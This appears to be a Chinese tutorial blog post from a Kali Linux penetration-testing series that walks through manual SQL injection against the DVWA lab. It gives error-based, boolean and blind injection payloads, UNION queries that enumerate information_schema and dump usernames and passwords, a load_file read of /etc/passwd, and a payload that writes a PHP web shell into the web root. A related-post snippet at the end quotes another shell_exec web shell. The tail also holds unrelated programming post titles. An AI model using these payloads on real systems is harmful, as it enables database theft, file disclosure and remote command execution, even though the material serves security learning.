服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

基于报错的检测方法:

'       "    %

查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句

基于布尔的检测:

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

表列数/显示信息位于哪一列:

'order by 3--     #按查询列号排序(-- 注释符)

如果猜测不对会返回报错

猜到第二列没返回,说明在第二列

联合查询:

' union select 1,2--

查到对应信息后,查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

查看数据库版本和用户

查看当前数据库

查看数据库路径

mysql数据结构------infomation_schema所有信息都在这个库里面

查看所有的库,和所有的表

' union select table_name,table_schema from information_schema.tables--

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

读取文件

' union select null,load_file('/etc/passwd')--

写入文件(写入木马什么的,前提是要有www目录的写权限)

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令

sql盲注

不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息

当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲

思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断

1' and 1=1-- (结果为真,返回执行了)

1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)

1' order by 2-- 查询有两个字段

1' union select 1,2-- 联合查询

1' and 1=0 union select null,table_name from information_schema.tables--

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

kali linux之手动漏洞挖掘三(sql注入)的更多相关文章

  1. kali linux之手动漏洞挖掘二

    漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除 身份认证 常用若口令/基于字典的密码爆破/锁定帐号 信息收集(手机号,身份证,住址信息等等) 密码嗅探 会话sessi ...

  2. kali linux之手动漏洞挖掘一

    默认安装漏洞 phpmyadmin/setup默认安装 ubuntu/debian默认安装php5-cgi phpmyadmin/setup默认安装 使用?-d+allow_url_include%3 ...

  3. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  4. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

  5. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

  6. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  7. 漏洞重温之sql注入(五)

    漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...

  8. 漏洞重温之sql注入(六)

    漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...

  9. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...

随机推荐

  1. springboot成神之——spring jdbc的使用

    本文介绍spring jdbc的使用 目录结构 pom配置 properties配置 model层User类 Dao层QueryForListDao config层AppConfiguration 程 ...

  2. Lambda语句中创建自定义类型时,也可指定某种特定类型,方法是在new与{}之间写上类型名称

    如: var fc =...ChildFath = fc.Select(c => new Child_Father { child = c.child, father = c.father }) ...

  3. leetcode821

    vector<int> shortestToChar(string S, char C) { vector<int> V; ; int AYC[N]; ; ; i < S ...

  4. Maven整合SSM框架——详细整合教程(Spring+SpringMVC+MyBatis)

    使用SSM(Spring.SpringMVC和Mybatis)已经有三个多月了,项目在技术上已经没有什么难点了,基于现有的技术就可以实现想要的功能,当然肯定有很多可以改进的地方.之前没有记录SSM整合 ...

  5. Spring Cloud Config 1 (分布式配置中心)

    spring cloud config是spring cloud团队创建的一个全新的项目,用来为分布式系统中的基础设施和微服务应用提供集中化的外部配置支持,它分为服务端和客户端两部分. 服务端也被称为 ...

  6. Python绘图matplotlib

    转自http://blog.csdn.net/ywjun0919/article/details/8692018 Python图表绘制:matplotlib绘图库入门 matplotlib 是pyth ...

  7. C#使用ADO操作Excel

    1 说明 把excel当成一个数据库,类似于Access数据库来操作. 2 源代码 2.1 Model层 /// <summary> /// 人员信息 /// </summary&g ...

  8. 局域网内的一些计算机可以ping通 有些ping不同

    如何查看.添加.修改.删除电脑内部路由_百度经验https://jingyan.baidu.com/article/77b8dc7fc611626174eab6cb.html

  9. Linux VmWare安装虚拟机(centos6.9)

    开启虚拟机 ---------------------------------------------------------------------------------------------- ...

  10. Navicat 连接阿里云的 MySQL

    1 利用Navicat连接阿里云服务器中MySQL 常规连接方式常用于连接本机数据库以及虚拟机中的数据库:但是连接阿里云的MySQL数据库时会出现连接不上的情况,错误信息如下: 1.1 常规中的配置 ...